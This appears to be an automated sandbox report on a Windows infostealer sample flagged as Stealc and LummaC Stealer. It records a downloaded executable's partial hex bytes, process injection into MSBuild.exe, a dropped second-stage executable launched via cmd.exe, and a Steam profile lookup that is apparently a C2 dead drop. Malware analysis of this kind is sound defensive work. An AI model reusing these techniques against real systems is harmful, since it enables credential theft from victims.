Oct 7, 2024 19:33:24.414139986 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 17:33:24 GMT Content-Type: application/octet-stream Content-Length: 551424 Last-Modified: Mon, 07 Oct 2024 17:27:14 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "670419f2-86a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 19 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=9yWUyWUyWUTTuWURTWUSTlWUVTzWUyVU!WUilTTmWUilSTkWUilRT4WU1m^TxWU1mUxWU1mUTxWURichyWUPELg)bRo0@u@(@0,.text `.rdatax0@@.data@.rsrcJ@@.relocN@B
Oct 7, 2024 19:33:24.414154053 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dH<h BaYh BxaYh BlaYeHEeH<h BLaYjjheHeHDh B-aYVWj!YeHQDeHP3B
Oct 7, 2024 19:33:24.414166927 CEST	1236	IN	Data Raw: 01 59 74 0a 6a 14 56 e8 61 58 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 d0 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 28 14 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 d2 1c 00 Data Ascii: YtjVaXYY^U@B3D$EVL$P(D$Puu:L$L$\2B^3W]Vt$\2B^Vt$WVP2BFVGW_^BU}uMjhBuRYMPE]D$VtjV
Oct 7, 2024 19:33:24.414212942 CEST	1236	IN	Data Raw: 00 83 c4 10 c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 75 09 83 c6 02 3b 74 24 14 75 e4 5f 8b c6 5e c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 74 09 83 Data Ascii: Vt$WPt$Ru;t$u_^Vt$WPt$Rt;t$u_^APt$NYYVt$;t$tWyWPfNfYY;t$u_^APt$OYYVt$;t$tWyWPOfYY;t$u_^UAWPEf
Oct 7, 2024 19:33:24.414227009 CEST	1236	IN	Data Raw: e0 03 25 e8 00 00 00 66 42 66 bb e3 03 66 35 c0 02 66 81 e9 c8 03 81 c3 fb 02 00 00 66 f7 e2 66 81 f3 24 02 66 f7 ea 66 33 c7 c1 c1 f4 72 0c 42 66 2b f1 66 f7 e8 c1 eb aa eb 14 0f b6 f6 66 f7 e0 f7 e6 49 66 c1 cb 25 23 cb 4e 40 66 f7 e3 f7 e0 66 Data Ascii: %fBff5fff$ff3rBf+ffIf%#N@ffueofff"fff#f+#BP[uEYjVP]iM[i][u3i[3Em]MUE3tt
Oct 7, 2024 19:33:24.414247990 CEST	1236	IN	Data Raw: 66 42 66 f7 e7 0f b6 d7 eb 0b 66 4f 66 f7 e6 66 33 ca c1 d8 78 66 8b ff 81 f6 b1 01 00 00 73 21 83 f9 41 74 4d 66 c1 c2 7a 81 eb 7f 03 00 00 0f b6 fb 66 23 ce c1 ca 22 c1 df dd f7 ef 66 43 eb 15 66 46 66 81 c1 ad 02 4a 66 4e bb 3b 03 00 00 66 bb Data Ascii: fBffOff3xfs!AtMfzf#"fCfFfJfN;ffffFfBrfHffG\|fbffF83$fQwfIffff%fPffCff+ffEfBfewfNfFfI
Oct 7, 2024 19:33:24.414266109 CEST	1236	IN	Data Raw: 8b 48 04 89 4d e4 8b 01 ff 50 04 8d 45 e0 50 e8 da 15 00 00 59 89 45 ec 8d 4d e0 e8 1a ef ff ff 21 7d fc 8b 0d a0 65 48 00 8b 41 04 8b b0 d8 65 48 00 c6 45 e0 00 89 75 e4 8b 41 04 8d 88 a0 65 48 00 0f b7 41 40 8b 55 ec 8b 12 ff 75 0c ff 75 08 50 Data Ascii: HMPEPYEM!}eHAeHEuAeHA@UuuPQVuEPMRjZ}E}M=eHHeHAjZj39q8ERe(@MeH}jZeHHj39A8EQRMZIVWt$
Oct 7, 2024 19:33:24.414279938 CEST	1236	IN	Data Raw: 0f 10 45 1c 66 8b c8 8b 74 24 38 66 85 c9 51 8b 52 14 0f 9e 44 24 18 8b c2 f2 0f 11 04 24 83 e0 ef 66 85 c9 53 8b 5c 24 28 0f 4f d0 83 7c 24 44 0f 8d 44 24 48 52 0f 47 7c 24 34 6a 00 50 53 e8 75 09 00 00 83 c4 10 50 56 57 e8 4e e4 ff ff 83 c4 18 Data Ascii: Eft$8fQRD$$fS\$(O\|$DD$HRG\|$4jPSuPVWNt$ \|$8T$$GT$$t$PRut$uuVD$8v6L$$@D$L$=rD$PD$PDD$YYL$PQ?YYL$D_^[3=?]UT@B3D$PS]D$Vu
Oct 7, 2024 19:33:24.414290905 CEST	1236	IN	Data Raw: 5d c2 04 00 56 8b f1 83 7e 14 07 76 0e ff 76 14 ff 36 56 e8 a7 06 00 00 83 c4 0c 83 66 10 00 33 c0 c7 46 14 07 00 00 00 66 89 06 5e c3 56 8b f1 8b 46 14 83 f8 0f 76 0b 40 50 ff 36 e8 03 13 00 00 59 59 83 66 10 00 c7 46 14 0f 00 00 00 c6 06 00 5e Data Ascii: ]V~vv6Vf3Ff^VFv@P6YYfF^US]WGO+;w*GvVSu4Vz^SuEuSq_[]Vt$jVQkJfF^D$V2BtjV:YY^q
Oct 7, 2024 19:33:24.414304018 CEST	1236	IN	Data Raw: f6 d0 24 20 0c 58 88 02 8b c6 5f c6 42 01 00 5e c3 8b 54 24 10 56 8b 74 24 0c 57 c6 06 25 8d 46 01 f6 c2 20 74 04 c6 00 2b 40 f6 c2 10 74 04 c6 00 23 40 8a 4c 24 14 66 c7 00 2e 2a 83 c0 02 84 c9 74 03 88 08 40 8b ca bf 00 30 00 00 23 cf f6 c2 04 Data Ascii: $ X_B^T$Vt$W%F t+@t#@L$f.*t@0#t" t";uA6ME$ uf;uaMe@_^@L8t`jB4;}@t88WM}txee
Oct 7, 2024 19:33:24.419464111 CEST	1236	IN	Data Raw: 8b 06 8b 48 04 03 ce e8 f1 0c 00 00 0f b7 c8 51 8b ce e8 21 0c 00 00 8b ce e8 c8 fb ff ff 8b c6 5e 8b e5 5d c3 6a 4c b8 00 1e 42 00 e8 f5 36 00 00 89 55 dc c7 45 d8 a0 65 48 00 33 ff 8b c7 89 45 ec 89 45 e4 52 e8 52 99 00 00 59 8b c8 89 4d e0 8b Data Ascii: HQ!^]jLB6UEeH3EERRYMUeH@eHeH;\|;v;\|;v+WfEu]uuM]}uj^}eH@eHHMPEPNYEMeH@eH%

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49806	104.102.49.254	443	7448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 17:33:26 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-07 17:33:26 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 07 Oct 2024 17:33:26 GMT Content-Length: 25489 Connection: close Set-Cookie: sessionid=eabb382eccc856708a731286; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-07 17:33:26 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-07 17:33:26 UTC	10975	IN	Data Raw: 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 74 68 61 69 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 68 61 69 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e0 b9 84 e0 b8 97 e0 b8 a2 20 28 54 68 61 69 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 62 75 6c 67 61 72 69 61 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 62 75 6c 67 61 72 69 61 6e 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 Data Ascii: <a class="popup_menu_item tight" href="?l=thai" onclick="ChangeLanguage( 'thai' ); return false;"> (Thai)</a><a class="popup_menu_item tight" href="?l=bulgarian" onclick="ChangeLanguage( 'bulgarian' ); return fa

Target ID:	0
Start time:	13:33:11
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\FdjDPFGTZS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FdjDPFGTZS.exe"
Imagebase:	0xe20000
File size:	505'344 bytes
MD5 hash:	6452D41749E8D8658D229A7789541A51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:33:11
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xca0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1803836286.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1804495341.0000000001257000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:33:11
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 260
Imagebase:	0x6d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:33:25
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCAFIEBKKJJ.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:33:25
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:33:25
Start date:	07/10/2024
Path:	C:\Users\userCAFIEBKKJJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userCAFIEBKKJJ.exe"
Imagebase:	0xa60000
File size:	551'424 bytes
MD5 hash:	D7E53BCB525008FFC3464054F5D845B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000B.00000002.1529415088.0000000000A8D000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:33:25
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xdb0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000C.00000002.1502719842.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:33:25
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7432 -s 284
Imagebase:	0x6d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.1%
Total number of Nodes:	229
Total number of Limit Nodes:	3

Executed Functions

Function 00E22021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00E9A6D8,?,00000040,?), ref: 00E22738

Strings

a, xrefs: 00E22296
S, xrefs: 00E2206A
', xrefs: 00E22718

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: 195c01611a37efb56b1186fc952d85bd9df4b457d88dd18751336211820bbe10
Instruction ID: e94a1a25deebb09a98d2bbce785493dd3c464e08a606c16b89cf93574bc62c9a
Opcode Fuzzy Hash: 195c01611a37efb56b1186fc952d85bd9df4b457d88dd18751336211820bbe10
Instruction Fuzzy Hash: 9BF1D027934E3B16E70860396C522E5954AD7EA330FD1633BBF23BB3F4E36909419285

Function 00E36368 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00E38F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00E3639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00E38F1C,?,?,00000000,?,00000000), ref: 00E363BA

Strings

R[, xrefs: 00E36396

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: String
String ID: R[
API String ID: 2568140703-3972925902
Opcode ID: c9e75ff97abcb07bb9f98eb2cc2267ea0d8ee6d14e87eaa12a2992dd43ec5fd2
Instruction ID: 97d08e55d6f837673172edb03976473704b335191537f252d1f14a4f844463bd
Opcode Fuzzy Hash: c9e75ff97abcb07bb9f98eb2cc2267ea0d8ee6d14e87eaa12a2992dd43ec5fd2
Instruction Fuzzy Hash: CCF0983600015ABBCF126FA1DC09EDE3F66EF883A0F059120FA1865130CB32D976EB90

Function 00E38E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00E38FDD

Part of subcall function 00E33A83: HeapAlloc.KERNEL32(00000000,00E3A1AA,?,?,00E3A1AA,00000220,?,?,?), ref: 00E33AB5

__freea.LIBCMT ref: 00E38FF2
__freea.LIBCMT ref: 00E39002

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 5b2df1a48f597fecf46d9dd0a067ddc72a59c423afc7011f17ef24ad8237b0d9
Instruction ID: 0d0e850fac64ca019ea84d6088be0c799aa73af23e2672d83ab460aa6d44d51e
Opcode Fuzzy Hash: 5b2df1a48f597fecf46d9dd0a067ddc72a59c423afc7011f17ef24ad8237b0d9
Instruction Fuzzy Hash: D051B07260031AAFEB21AF658D89EBB7EEAEF44354F151129FC08F6150EB71CC40C660

Function 00E3A3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E39ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00E39F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00E3A1ED,?,00000000,?,?,?), ref: 00E3A407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00E3A1ED,?,00000000,?,?,?), ref: 00E3A449

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 17fe711fa57302f3beeb0eb855f9a64edf953b2fc94dc693cc3cad4d23dc0def
Instruction ID: 2182a02d06826d32822bcd6a0fb2d8162614772c67007d795f699ea3b388bb36
Opcode Fuzzy Hash: 17fe711fa57302f3beeb0eb855f9a64edf953b2fc94dc693cc3cad4d23dc0def
Instruction Fuzzy Hash: 81513431A002449FDB20CF76C8886BABFE5EF85304F18517ED0D2AB252E7B49985CB42

Function 00E39FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00E3A1F9,00E3A1ED,00000000), ref: 00E39FDC

Memory Dump Source

Source File: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: d007a72efd2a616efd71b36cfb7c4b335889162a40612fbdb529ffb822137e15
Instruction ID: 22e5441ee96617c7748d592033020ca8dbff60655f6eec295cb86184e2ac529d
Opcode Fuzzy Hash: d007a72efd2a616efd71b36cfb7c4b335889162a40612fbdb529ffb822137e15
Instruction Fuzzy Hash: 62516CB19041589EDB218F28CC88AE67FB8EB55304F2815BDD0DAE7082C3759D86DF21

Non-executed Functions

Function 00E70F98 Relevance: 11.3, Strings: 5, Instructions: 5010COMMON

Download Yara Rule

Strings

X/:, xrefs: 00E717A0
B^U!, xrefs: 00E7120D
m27/, xrefs: 00E71741
66.\, xrefs: 00E71719
KG&!, xrefs: 00E71583

Memory Dump Source

Source File: 00000000.00000002.1505785365.0000000000E4D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000000.00000002.1505638983.0000000000E20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505675492.0000000000E21000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505760521.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505839604.0000000000E9A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505875369.0000000000E9B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1505896930.0000000000E9C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e20000_FdjDPFGTZS.jbxd

Yara matches

Similarity

API ID:
String ID: 66.\$B^U!$KG&!$X/:$m27/
API String ID: 0-1441538931
Opcode ID: 8454d25a04a29999b2916949a0a6f97e5025c7fbcbc34ec927bbb5b1bfad51b5
Instruction ID: 37a45216f3bd2fb4742ad9aae8a7c730983b684951265081cd9e04251ad2befa
Opcode Fuzzy Hash: 8454d25a04a29999b2916949a0a6f97e5025c7fbcbc34ec927bbb5b1bfad51b5
Instruction Fuzzy Hash: F763307241E7D41EC727CB3047B61A17F66FA233103199ACECAC1AF4B3C6949A16E356

Function 00E3C9E9 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E34EB1: GetLastError.KERNEL32(?,00000008,00E39482), ref: 00E34EB5
Part of subcall function 00E34EB1: SetLastError.KERNEL32(00000000,00E4C480,00000024,00E30419), ref: 00E34F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00E3CAF5
IsValidCodePage.KERNEL32(00000000), ref: 00E3CB3E
IsValidLocale.KERNEL32(?,00000001), ref: 00E3CB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00E3CB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00E3CBB4

Strings

||, xrefs: 00E3CA4E

Memory Dump Source

